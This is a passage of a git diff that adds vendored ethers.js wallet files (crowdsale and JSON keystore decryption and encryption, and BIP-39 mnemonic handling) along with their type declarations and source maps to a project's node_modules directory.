Wallets [json-wallets] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.decryptCrowdsaleJson = exports.isCrowdsaleJson = void 0; +const aes_js_1 = require("aes-js"); +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../crypto/index.js"); +const index_js_3 = require("../hash/index.js"); +const index_js_4 = require("../utils/index.js"); +const utils_js_1 = require("./utils.js"); +/** + * Returns true if %%json%% is a valid JSON Crowdsale wallet. + */ +function isCrowdsaleJson(json) { + try { + const data = JSON.parse(json); + if (data.encseed) { + return true; + } + } + catch (error) { } + return false; +} +exports.isCrowdsaleJson = isCrowdsaleJson; +// See: https://github.com/ethereum/pyethsaletool +/** + * Before Ethereum launched, it was necessary to create a wallet + * format for backers to use, which would be used to receive ether + * as a reward for contributing to the project. + * + * The [[link-crowdsale]] format is now obsolete, but it is still + * useful to support and the additional code is fairly trivial as + * all the primitives required are used through core portions of + * the library. + */ +function decryptCrowdsaleJson(json, _password) { + const data = JSON.parse(json); + const password = (0, utils_js_1.getPassword)(_password); + // Ethereum Address + const address = (0, index_js_1.getAddress)((0, utils_js_1.spelunk)(data, "ethaddr:string!")); + // Encrypted Seed + const encseed = (0, utils_js_1.looseArrayify)((0, utils_js_1.spelunk)(data, "encseed:string!")); + (0, index_js_4.assertArgument)(encseed && (encseed.length % 16) === 0, "invalid encseed", "json", json); + const key = (0, index_js_4.getBytes)((0, index_js_2.pbkdf2)(password, password, 2000, 32, "sha256")).slice(0, 16); + const iv = encseed.slice(0, 16); + const encryptedSeed = encseed.slice(16); + // Decrypt the seed + const aesCbc = new aes_js_1.CBC(key, iv); + const seed = (0, aes_js_1.pkcs7Strip)((0, index_js_4.getBytes)(aesCbc.decrypt(encryptedSeed))); + // This wallet format is weird... Convert the binary encoded hex to a string. + let seedHex = ""; + for (let i = 0; i < seed.length; i++) { + seedHex += String.fromCharCode(seed[i]); + } + return { address, privateKey: (0, index_js_3.id)(seedHex) }; +} +exports.decryptCrowdsaleJson = decryptCrowdsaleJson; +//# sourceMappingURL=json-crowdsale.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.js.map b/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.js.map new file mode 100644 index 000000000000..b8c8d8b60b84 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/json-crowdsale.js.map @@ -0,0 +1 @@ +{"version":3,"file":"json-crowdsale.js","sourceRoot":"","sources":["../../src.ts/wallet/json-crowdsale.ts"],"names":[],"mappings":";AAAA;;GAEG;;;AAEH,mCAAyC;AAEzC,kDAAiD;AACjD,iDAA4C;AAC5C,+CAAsC;AACtC,gDAA6D;AAE7D,yCAAiE;AAYjE;;GAEG;AACH,SAAgB,eAAe,CAAC,IAA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ChC,MAAM,IAAI,GAAG,IAAA,mBAAU,EAAC,IAAA,mBAAQ,EAAC,MAAM,CAAC,OAAO,CAAC,aAAa,CAAC,CAAC,CAAC,CAAC;IAEjE,6EAA6E;IAC7E,IAAI,OAAO,GAAG,EAAE,CAAC;IACjB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,IAAI,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QAClC,OAAO,IAAI,MAAM,CAAC,YAAY,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC;KAC3C;IAED,OAAO,EAAE,OAAO,EAAE,UAAU,EAAE,IAAA,aAAE,EAAC,OAAO,CAAC,EAAE,CAAC;AAChD,CAAC;AA3BD,oDA2BC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/json-keystore.d.ts b/node_modules/ethers/lib.commonjs/wallet/json-keystore.d.ts new file mode 100644 index 000000000000..c01076fe6ce2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/json-keystore.d.ts @@ -0,0 +1,89 @@ +/** + * The JSON Wallet formats allow a simple way to store the private + * keys needed in Ethereum along with related information and allows + * for extensible forms of encryption. + * + * These utilities facilitate decrypting and encrypting the most common + * JSON Wallet formats. + * + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ +import type { ProgressCallback } from "../crypto/index.js"; +import type { BytesLike } from "../utils/index.js"; +/** + * The contents of a JSON Keystore Wallet. + */ +export type KeystoreAccount = { + address: string; + privateKey: string; + mnemonic?: { + path?: string; + locale?: string; + entropy: string; + }; +}; +/** + * The parameters to use when encrypting a JSON Keystore Wallet. + */ +export type EncryptOptions = { + progressCallback?: ProgressCallback; + iv?: BytesLike; + entropy?: BytesLike; + client?: string; + salt?: BytesLike; + uuid?: string; + scrypt?: { + N?: number; + r?: number; + p?: number; + }; +}; +/** + * Returns true if %%json%% is a valid JSON Keystore Wallet. + */ +export declare function isKeystoreJson(json: string): boolean; +/** + * Returns the account details for the JSON Keystore Wallet %%json%% + * using %%password%%. + * + * It is preferred to use the [async version](decryptKeystoreJson) + * instead, which allows a [[ProgressCallback]] to keep the user informed + * as to the decryption status. + * + * This method will block the event loop (freezing all UI) until decryption + * is complete, which can take quite some time, depending on the wallet + * paramters and platform. + */ +export declare function decryptKeystoreJsonSync(json: string, _password: string | Uint8Array): KeystoreAccount; +/** + * Resolves to the decrypted JSON Keystore Wallet %%json%% using the + * %%password%%. + * + * If provided, %%progress%% will be called periodically during the + * decrpytion to provide feedback, and if the function returns + * ``false`` will halt decryption. + * + * The %%progressCallback%% will **always** receive ``0`` before + * decryption begins and ``1`` when complete. + */ +export declare function decryptKeystoreJson(json: string, _password: string | Uint8Array, progress?: ProgressCallback): Promise; +/** + * Return the JSON Keystore Wallet for %%account%% encrypted with + * %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used. Any provided [[ProgressCallback]] is ignord. + */ +export declare function encryptKeystoreJsonSync(account: KeystoreAccount, password: string | Uint8Array, options?: EncryptOptions): string; +/** + * Resolved to the JSON Keystore Wallet for %%account%% encrypted + * with %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used and provide a [[ProgressCallback]] to receive periodic updates + * on the completion status.. + */ +export declare function encryptKeystoreJson(account: KeystoreAccount, password: string | Uint8Array, options?: EncryptOptions): Promise; +//# sourceMappingURL=json-keystore.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/json-keystore.d.ts.map b/node_modules/ethers/lib.commonjs/wallet/json-keystore.d.ts.map new file mode 100644 index 000000000000..2ce64555d7cf --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/json-keystore.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"json-keystore.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/json-keystore.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AAaH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,oBAAoB,CAAC;AA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c,GAAG,MAAM,CAOjI;AAED;;;;;;;;GAQG;AACH,wBAAsB,mBAAmB,CAAC,OAAO,EAAE,eAAe,EAAE,QAAQ,EAAE,MAAM,GAAG,UAAU,EAAE,OAAO,CAAC,EAAE,cAAc,GAAG,OAAO,CAAC,MAAM,CAAC,CAO5I"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/json-keystore.js b/node_modules/ethers/lib.commonjs/wallet/json-keystore.js new file mode 100644 index 000000000000..582e7c73fe20 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/json-keystore.js @@ -0,0 +1,295 @@ +"use strict"; +/** + * The JSON Wallet formats allow a simple way to store the private + * keys needed in Ethereum along with related information and allows + * for extensible forms of encryption. + * + * These utilities facilitate decrypting and encrypting the most common + * JSON Wallet formats. + * + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.encryptKeystoreJson = exports.encryptKeystoreJsonSync = exports.decryptKeystoreJson = exports.decryptKeystoreJsonSync = exports.isKeystoreJson = void 0; +const aes_js_1 = require("aes-js"); +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../crypto/index.js"); +const index_js_3 = require("../transaction/index.js"); +const index_js_4 = require("../utils/index.js"); +const utils_js_1 = require("./utils.js"); +const _version_js_1 = require("../_version.js"); +const defaultPath = "m/44'/60'/0'/0/0"; +/** + * Returns true if %%json%% is a valid JSON Keystore Wallet. + */ +function isKeystoreJson(json) { + try { + const data = JSON.parse(json); + const version = ((data.version != null) ? parseInt(data.version) : 0); + if (version === 3) { + return true; + } + } + catch (error) { } + return false; +} +exports.isKeystoreJson = isKeystoreJson; +function decrypt(data, key, ciphertext) { + const cipher = (0, utils_js_1.spelunk)(data, "crypto.cipher:string"); + if (cipher === "aes-128-ctr") { + const iv = (0, utils_js_1.spelunk)(data, "crypto.cipherparams.iv:data!"); + const aesCtr = new aes_js_1.CTR(key, iv); + return (0, index_js_4.hexlify)(aesCtr.decrypt(ciphertext)); + } + (0, index_js_4.assert)(false, "unsupported cipher", "UNSUPPORTED_OPERATION", { + operation: "decrypt" + }); +} +function getAccount(data, _key) { + const key = (0, index_js_4.getBytes)(_key); + const ciphertext = (0, utils_js_1.spelunk)(data, "crypto.ciphertext:data!"); + const computedMAC = (0, index_js_4.hexlify)((0, index_js_2.keccak256)((0, index_js_4.concat)([key.slice(16, 32), ciphertext]))).substring(2); + (0, index_js_4.assertArgument)(computedMAC === (0, utils_js_1.spelunk)(data, "crypto.mac:string!").toLowerCase(), "incorrect password", "password", "[ REDACTED ]"); + const privateKey = decrypt(data, key.slice(0, 16), ciphertext); + const address = (0, index_js_3.computeAddress)(privateKey); + if (data.address) { + let check = data.address.toLowerCase(); + if (!check.startsWith("0x")) { + check = "0x" + check; + } + (0, index_js_4.assertArgument)((0, index_js_1.getAddress)(check) === address, "keystore address/privateKey mismatch", "address", data.address); + } + const account = { address, privateKey }; + // Version 0.1 x-ethers metadata must contain an encrypted mnemonic phrase + const version = (0, utils_js_1.spelunk)(data, "x-ethers.version:string"); + if (version === "0.1") { + const mnemonicKey = key.slice(32, 64); + const mnemonicCiphertext = (0, utils_js_1.spelunk)(data, "x-ethers.mnemonicCiphertext:data!"); + const mnemonicIv = (0, utils_js_1.spelunk)(data, "x-ethers.mnemonicCounter:data!"); + const mnemonicAesCtr = new aes_js_1.CTR(mnemonicKey, mnemonicIv); + account.mnemonic = { + path: ((0, utils_js_1.spelunk)(data, "x-ethers.path:string") || defaultPath), + locale: ((0, utils_js_1.spelunk)(data, "x-ethers.locale:string") || "en"), + entropy: (0, index_js_4.hexlify)((0, index_js_4.getBytes)(mnemonicAesCtr.decrypt(mnemonicCiphertext))) + }; + } + return account; +} +function getDecryptKdfParams(data) { + const kdf = (0, utils_js_1.spelunk)(data, "crypto.kdf:string"); + if (kdf && typeof (kdf) === "string") { + if (kdf.toLowerCase() === "scrypt") { + const salt = (0, utils_js_1.spelunk)(data, "crypto.kdfparams.salt:data!"); + const N = (0, utils_js_1.spelunk)(data, "crypto.kdfparams.n:int!"); + const r = (0, utils_js_1.spelunk)(data, "crypto.kdfparams.r:int!"); + const p = (0, utils_js_1.spelunk)(data, "crypto.kdfparams.p:int!"); + // Make sure N is a power of 2 + (0, index_js_4.assertArgument)(N > 0 && (N & (N - 1)) === 0, "invalid kdf.N", "kdf.N", N); + (0, index_js_4.assertArgument)(r > 0 && p > 0, "invalid kdf", "kdf", kdf); + const dkLen = (0, utils_js_1.spelunk)(data, "crypto.kdfparams.dklen:int!"); + (0, index_js_4.assertArgument)(dkLen === 32, "invalid kdf.dklen", "kdf.dflen", dkLen); + return { name: "scrypt", salt, N, r, p, dkLen: 64 }; + } + else if (kdf.toLowerCase() === "pbkdf2") { + const salt = (0, utils_js_1.spelunk)(data, "crypto.kdfparams.salt:data!"); + const prf = (0, utils_js_1.spelunk)(data, "crypto.kdfparams.prf:string!"); + const algorithm = prf.split("-").pop(); + (0, index_js_4.assertArgument)(algorithm === "sha256" || algorithm === "sha512", "invalid kdf.pdf", "kdf.pdf", prf); + const count = (0, utils_js_1.spelunk)(data, "crypto.kdfparams.c:int!"); + const dkLen = (0, utils_js_1.spelunk)(data, "crypto.kdfparams.dklen:int!"); + (0, index_js_4.assertArgument)(dkLen === 32, "invalid kdf.dklen", "kdf.dklen", dkLen); + return { name: "pbkdf2", salt, count, dkLen, algorithm }; + } + } + (0, index_js_4.assertArgument)(false, "unsupported key-derivation function", "kdf", kdf); +} +/** + * Returns the account details for the JSON Keystore Wallet %%json%% + * using %%password%%. + * + * It is preferred to use the [async version](decryptKeystoreJson) + * instead, which allows a [[ProgressCallback]] to keep the user informed + * as to the decryption status. + * + * This method will block the event loop (freezing all UI) until decryption + * is complete, which can take quite some time, depending on the wallet + * paramters and platform. + */ +function decryptKeystoreJsonSync(json, _password) { + const data = JSON.parse(json); + const password = (0, utils_js_1.getPassword)(_password); + const params = getDecryptKdfParams(data); + if (params.name === "pbkdf2") { + const { salt, count, dkLen, algorithm } = params; + const key = (0, index_js_2.pbkdf2)(password, salt, count, dkLen, algorithm); + return getAccount(data, key); + } + (0, index_js_4.assert)(params.name === "scrypt", "cannot be reached", "UNKNOWN_ERROR", { params }); + const { salt, N, r, p, dkLen } = params; + const key = (0, index_js_2.scryptSync)(password, salt, N, r, p, dkLen); + return getAccount(data, key); +} +exports.decryptKeystoreJsonSync = decryptKeystoreJsonSync; +function stall(duration) { + return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); }); +} +/** + * Resolves to the decrypted JSON Keystore Wallet %%json%% using the + * %%password%%. + * + * If provided, %%progress%% will be called periodically during the + * decrpytion to provide feedback, and if the function returns + * ``false`` will halt decryption. + * + * The %%progressCallback%% will **always** receive ``0`` before + * decryption begins and ``1`` when complete. + */ +async function decryptKeystoreJson(json, _password, progress) { + const data = JSON.parse(json); + const password = (0, utils_js_1.getPassword)(_password); + const params = getDecryptKdfParams(data); + if (params.name === "pbkdf2") { + if (progress) { + progress(0); + await stall(0); + } + const { salt, count, dkLen, algorithm } = params; + const key = (0, index_js_2.pbkdf2)(password, salt, count, dkLen, algorithm); + if (progress) { + progress(1); + await stall(0); + } + return getAccount(data, key); + } + (0, index_js_4.assert)(params.name === "scrypt", "cannot be reached", "UNKNOWN_ERROR", { params }); + const { salt, N, r, p, dkLen } = params; + const key = await (0, index_js_2.scrypt)(password, salt, N, r, p, dkLen, progress); + return getAccount(data, key); +} +exports.decryptKeystoreJson = decryptKeystoreJson; +function getEncryptKdfParams(options) { + // Check/generate the salt + const salt = (options.salt != null) ? (0, index_js_4.getBytes)(options.salt, "options.salt") : (0, index_js_2.randomBytes)(32); + // Override the scrypt password-based key derivation function parameters + let N = (1 << 17), r = 8, p = 1; + if (options.scrypt) { + if (options.scrypt.N) { + N = options.scrypt.N; + } + if (options.scrypt.r) { + r = options.scrypt.r; + } + if (options.scrypt.p) { + p = options.scrypt.p; + } + } + (0, index_js_4.assertArgument)(typeof (N) === "number" && N > 0 && Number.isSafeInteger(N) && (BigInt(N) & BigInt(N - 1)) === BigInt(0), "invalid scrypt N parameter", "options.N", N); + (0, index_js_4.assertArgument)(typeof (r) === "number" && r > 0 && Number.isSafeInteger(r), "invalid scrypt r parameter", "options.r", r); + (0, index_js_4.assertArgument)(typeof (p) === "number" && p > 0 && Number.isSafeInteger(p), "invalid scrypt p parameter", "options.p", p); + return { name: "scrypt", dkLen: 32, salt, N, r, p }; +} +function _encryptKeystore(key, kdf, account, options) { + const privateKey = (0, index_js_4.getBytes)(account.privateKey, "privateKey"); + // Override initialization vector + const iv = (options.iv != null) ? (0, index_js_4.getBytes)(options.iv, "options.iv") : (0, index_js_2.randomBytes)(16); + (0, index_js_4.assertArgument)(iv.length === 16, "invalid options.iv length", "options.iv", options.iv); + // Override the uuid + const uuidRandom = (options.uuid != null) ? (0, index_js_4.getBytes)(options.uuid, "options.uuid") : (0, index_js_2.randomBytes)(16); + (0, index_js_4.assertArgument)(uuidRandom.length === 16, "invalid options.uuid length", "options.uuid", options.iv); + // This will be used to encrypt the wallet (as per Web3 secret storage) + // - 32 bytes As normal for the Web3 secret storage (derivedKey, macPrefix) + // - 32 bytes AES key to encrypt mnemonic with (required here to be Ethers Wallet) + const derivedKey = key.slice(0, 16); + const macPrefix = key.slice(16, 32); + // Encrypt the private key + const aesCtr = new aes_js_1.CTR(derivedKey, iv); + const ciphertext = (0, index_js_4.getBytes)(aesCtr.encrypt(privateKey)); + // Compute the message authentication code, used to check the password + const mac = (0, index_js_2.keccak256)((0, index_js_4.concat)([macPrefix, ciphertext])); + // See: https://github.com/ethereum/wiki/wiki/Web3-Secret-Storage-Definition + const data = { + address: account.address.substring(2).toLowerCase(), + id: (0, index_js_4.uuidV4)(uuidRandom), + version: 3, + Crypto: { + cipher: "aes-128-ctr", + cipherparams: { + iv: (0, index_js_4.hexlify)(iv).substring(2), + }, + ciphertext: (0, index_js_4.hexlify)(ciphertext).substring(2), + kdf: "scrypt", + kdfparams: { + salt: (0, index_js_4.hexlify)(kdf.salt).substring(2), + n: kdf.N, + dklen: 32, + p: kdf.p, + r: kdf.r + }, + mac: mac.substring(2) + } + }; + // If we have a mnemonic, encrypt it into the JSON wallet + if (account.mnemonic) { + const client = (options.client != null) ? options.client : `ethers/${_version_js_1.version}`; + const path = account.mnemonic.path || defaultPath; + const locale = account.mnemonic.locale || "en"; + const mnemonicKey = key.slice(32, 64); + const entropy = (0, index_js_4.getBytes)(account.mnemonic.entropy, "account.mnemonic.entropy"); + const mnemonicIv = (0, index_js_2.randomBytes)(16); + const mnemonicAesCtr = new aes_js_1.CTR(mnemonicKey, mnemonicIv); + const mnemonicCiphertext = (0, index_js_4.getBytes)(mnemonicAesCtr.encrypt(entropy)); + const now = new Date(); + const timestamp = (now.getUTCFullYear() + "-" + + (0, utils_js_1.zpad)(now.getUTCMonth() + 1, 2) + "-" + + (0, utils_js_1.zpad)(now.getUTCDate(), 2) + "T" + + (0, utils_js_1.zpad)(now.getUTCHours(), 2) + "-" + + (0, utils_js_1.zpad)(now.getUTCMinutes(), 2) + "-" + + (0, utils_js_1.zpad)(now.getUTCSeconds(), 2) + ".0Z"); + const gethFilename = ("UTC--" + timestamp + "--" + data.address); + data["x-ethers"] = { + client, gethFilename, path, locale, + mnemonicCounter: (0, index_js_4.hexlify)(mnemonicIv).substring(2), + mnemonicCiphertext: (0, index_js_4.hexlify)(mnemonicCiphertext).substring(2), + version: "0.1" + }; + } + return JSON.stringify(data); +} +/** + * Return the JSON Keystore Wallet for %%account%% encrypted with + * %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used. Any provided [[ProgressCallback]] is ignord. + */ +function encryptKeystoreJsonSync(account, password, options) { + if (options == null) { + options = {}; + } + const passwordBytes = (0, utils_js_1.getPassword)(password); + const kdf = getEncryptKdfParams(options); + const key = (0, index_js_2.scryptSync)(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64); + return _encryptKeystore((0, index_js_4.getBytes)(key), kdf, account, options); +} +exports.encryptKeystoreJsonSync = encryptKeystoreJsonSync; +/** + * Resolved to the JSON Keystore Wallet for %%account%% encrypted + * with %%password%%. + * + * The %%options%% can be used to tune the password-based key + * derivation function parameters, explicitly set the random values + * used and provide a [[ProgressCallback]] to receive periodic updates + * on the completion status.. + */ +async function encryptKeystoreJson(account, password, options) { + if (options == null) { + options = {}; + } + const passwordBytes = (0, utils_js_1.getPassword)(password); + const kdf = getEncryptKdfParams(options); + const key = await (0, index_js_2.scrypt)(passwordBytes, kdf.salt, kdf.N, kdf.r, kdf.p, 64, options.progressCallback); + return _encryptKeystore((0, index_js_4.getBytes)(key), kdf, account, options); +} +exports.encryptKeystoreJson = encryptKeystoreJson; +//# sourceMappingURL=json-keystore.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/json-keystore.js.map b/node_modules/ethers/lib.commonjs/wallet/json-keystore.js.map new file mode 100644 index 000000000000..494e1aeed3fd --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/json-keystore.js.map @@ -0,0 +1 @@ +{"version":3,"file":"json-keystore.js","sourceRoot":"","sources":["../../src.ts/wallet/json-keystore.ts"],"names":[],"mappings":";AAAA;;;;;;;;;GASG;;;AAEH,mCAA6B;AAE7B,kDAAiD;AACjD,iDAAwF;AACxF,sDAAyD;AACzD,gDAE2B;AAE3B,yCAAwD;AAKxD,gDAAyC;AAGzC,MAAM,WAAW,GAAG,kBAAkB,CAAC;AAgCvC;;GAEG;AACH,SAAgB,cAAc,CAAC,IAAY;IACvC,IAAI;QACA,MAAM,IAAI,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;QAC9B,MAAM,OAAO,GAAG,CAAC,CAAC,IAAI,CAAC,OAAO,IAAI,IAAI,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC,IAAI,CAAC,OAAO,CAAC,CAAA,CAAC,CAAC,CAAC,CAAC,CAAC;QACrE,IAAI,OAAO,KAAK,CAAC,EAAE;YAAE,OAAO,IAAI,CAAC;SAAE;KACtC;IAAC,OAAO,KAAK,E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d.ts b/node_modules/ethers/lib.commonjs/wallet/mnemonic.d.ts new file mode 100644 index 000000000000..b16011228c61 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/mnemonic.d.ts @@ -0,0 +1,65 @@ +import type { BytesLike } from "../utils/index.js"; +import type { Wordlist } from "../wordlists/index.js"; +/** + * A **Mnemonic** wraps all properties required to compute [[link-bip-39]] + * seeds and convert between phrases and entropy. + */ +export declare class Mnemonic { + /** + * The mnemonic phrase of 12, 15, 18, 21 or 24 words. + * + * Use the [[wordlist]] ``split`` method to get the individual words. + */ + readonly phrase: string; + /** + * The password used for this mnemonic. If no password is used this + * is the empty string (i.e. ``""``) as per the specification. + */ + readonly password: string; + /** + * The wordlist for this mnemonic. + */ + readonly wordlist: Wordlist; + /** + * The underlying entropy which the mnemonic encodes. + */ + readonly entropy: string; + /** + * @private + */ + constructor(guard: any, entropy: string, phrase: string, password?: null | string, wordlist?: null | Wordlist); + /** + * Returns the seed for the mnemonic. + */ + computeSeed(): string; + /** + * Creates a new Mnemonic for the %%phrase%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromPhrase(phrase: string, password?: null | string, wordlist?: null | Wordlist): Mnemonic; + /** + * Create a new **Mnemonic** from the %%entropy%%. + * + * The default %%password%% is the empty string and the default + * wordlist is the [English wordlists](LangEn). + */ + static fromEntropy(_entropy: BytesLike, password?: null | string, wordlist?: null | Wordlist): Mnemonic; + /** + * Returns the phrase for %%mnemonic%%. + */ + static entropyToPhrase(_entropy: BytesLike, wordlist?: null | Wordlist): string; + /** + * Returns the entropy for %%phrase%%. + */ + static phraseToEntropy(phrase: string, wordlist?: null | Wordlist): string; + /** + * Returns true if %%phrase%% is a valid [[link-bip-39]] phrase. + * + * This checks all the provided words belong to the %%wordlist%%, + * that the length is valid and the checksum is correct. + */ + static isValidMnemonic(phrase: string, wordlist?: null | Wordlist): boolean; +} +//# sourceMappingURL=mnemonic.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/mnemonic.d.ts.map b/node_modules/ethers/lib.commonjs/wallet/mnemonic.d.ts.map new file mode 100644 index 000000000000..c7ba058f4dae --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/mnemonic.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mnemonic.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/mnemonic.ts"],"names":[],"mappings":"AAMA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AACnD,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,uBAAuB,CAAC;AAgGtD;;;GAGG;AACH,qBAAa,QAAQ;IACjB;;;;OAIG;IACH,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;IAEzB;;;OAGG;IACH,QAAQ,CAAC,QAAQ,EAAG,MAAM,CAAC;IAE3B;;OAEG;IACH,QAAQ,CAAC,QAAQ,EAAG,QAAQ,CAAC;IAE7B;;OAEG;IACH,QAAQ,CAAC,OAAO,EAAG,MAAM,CAAC;IAE1B;;OAEG;gBACS,KAAK,EAAE,GAAG,EAAE,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ;IAO7G;;OAEG;IACH,WAAW,IAAI,MAAM;IAKrB;;;;;OAKG;IACH,MAAM,CAAC,UAAU,CAAC,MAAM,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ,GAAG,QAAQ;IAOjG;;;;;OAKG;IACH,MAAM,CAAC,WAAW,CAAC,QAAQ,EAAE,SAAS,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ,GAAG,QAAQ;IAMvG;;OAEG;IACH,MAAM,CAAC,eAAe,CAAC,QAAQ,EAAE,SAAS,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ,GAAG,MAAM;IAK/E;;OAEG;IACH,MAAM,CAAC,eAAe,CAAC,MAAM,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ,GAAG,MAAM;IAI1E;;;;;OAKG;IACH,MAAM,CAAC,eAAe,CAAC,MAAM,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,IAAI,GAAG,QAAQ,GAAG,OAAO;CAO9E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wallet/mnemonic.js b/node_modules/ethers/lib.commonjs/wallet/mnemonic.js new file mode 100644 index 000000000000..cb487fbeba26 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wallet/mnemonic.js @@ -0,0 +1,169 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Mnemonic = void 0; +const index_js_1 = require("../crypto/index.js"); +const index_js_2 = require("../utils/index.js"); +const lang_en_js_1 = require("../wordlists/lang-en.js"); +// Returns a byte with the MSB bits set +function getUpperMask(bits) { + return ((1 << bits) - 1) << (8 - bits) & 0xff; +} +// Returns a byte with the LSB bits set +function getLowerMask(bits) { + return ((1 << bits) - 1) & 0xff; +} +function mnemonicToEntropy(mnemonic, wordlist) { + (0, index_js_2.assertNormalize)("NFKD"); + if (wordlist == null) { + wordlist = lang_en_js_1.LangEn.wordlist(); + } + const words = wordlist.split(mnemonic); + (0, index_js_2.assertArgument)((words.length % 3) === 0 && words.length >= 12 && words.length <= 24, "invalid mnemonic length", "mnemonic", "[ REDACTED ]"); + const entropy = new Uint8Array(Math.ceil(11 * words.length / 8)); + let offset = 0; + for (let i = 0; i < words.length; i++) { + let index = wordlist.getWordIndex(words[i].normalize("NFKD")); + (0, index_js_2.assertArgument)(index >= 0, `invalid mnemonic word at index ${i}`, "mnemonic", "[ REDACTED ]"); + for (let bit = 0; bit < 11; bit++) { + if (index & (1 << (10 - bit))) { + entropy[offset >> 3] |= (1 << (7 - (offset % 8))); + } + offset++; + } + } + const entropyBits = 32 * words.length / 3; + const checksumBits = words.length / 3; + const checksumMask = getUpperMask(checksumBits); + const checksum = (0, index_js_2.getBytes)((0, index_js_1.sha256)(entropy.slice(0, entropyBits / 8)))[0] & checksumMask; + (0, index_js_2.assertArgument)(checksum === (entropy[entropy.length - 1] & checksumMask), "invalid mnemonic checksum", "mnemonic", "[ REDACTED ]"); + return (0, index_js_2.hexlify)(entropy.slice(0, entropyBits / 8)); +} +function entropyToMnemonic(entropy, wordlist) { + (0, index_js_2.assertArgument)((entropy.length % 4) === 0 && entropy.length >= 16 && entropy.length <= 32, "invalid entropy size", "entropy", "[ REDACTED ]"); + if (wordlist == null) { + wordlist = lang_en_js_1.LangEn.wordlist(); + } + const indices = [0]; + let remainingBits = 11; + for (let i = 0; i < entropy.length; i++) { + // Consume the whole byte (with still more to go) + if (remainingBits > 8) { + indices[indices.length - 1] <<= 8; + indices[indices.length - 1] |= entropy[i]; + remainingBits -= 8; + // This byte will complete an 11-bit index + } + else { + indices[indices.length - 1] <<= remainingBits; + indices[indices.length - 1] |= entropy[i] >> (8 - remainingBits); + // Start the next word + indices.push(entropy[i] & getLowerMask(8 - remainingBits)); + remainingBits += 3; + } + } + // Compute the checksum bits + const checksumBits = entropy.length / 4; + const checksum = parseInt((0, index_js_1.sha256)(entropy).substring(2, 4), 16) & getUpperMask(checksumBits); + // Shift the checksum into the word indices + indices[indices.length - 1] <<= checksumBits; + indices[indices.length - 1] |= (checksum >> (8 - checksumBits)); + return wordlist.join(indices.map((index) => wordlist.getWord(index))); +} +const _guard = {}; +/** + * A **Mnemonic** wraps all properties required to compute [[link-bip-39]] + * seeds and convert between phrases and entropy. + */ +class Mnemonic { + /** + * The mnemonic phrase of 12, 15, 18, 21 or 24 words. + * + * Use the [[wordlist]] ``split`` method to get the individual words. + */ + phrase; + /** + * The password used for this mnemonic. If no password is used this + * is the empty string (i.e. ``""``) as per the specification. + */ + password; + /** + * The wordlist for this mnemonic. + */ + wordlist; + /** + * The underlying entropy which the mnemonic encodes. + */ + entropy; + /** + * @private + */ + constructor(guard, entropy, phrase, password, wordlist) { + if (password == null) { + password = ""; + } + if (wordlist == null) { + wordlist = lang_en_js_1.LangEn.wordlist(); + } + (0, index_js_2.assertPrivate)(guard, _guard, "Mnemonic"); + (0, index_js_2.defineProperties)(this, { phrase, password, wordlist, entropy }); + } + /** + * Returns the seed for the mnemonic. + */ + computeSeed() { + const salt = (0, index_js_2.toUtf8Bytes)("mnemonic" + this.password, "NFKD"); + return 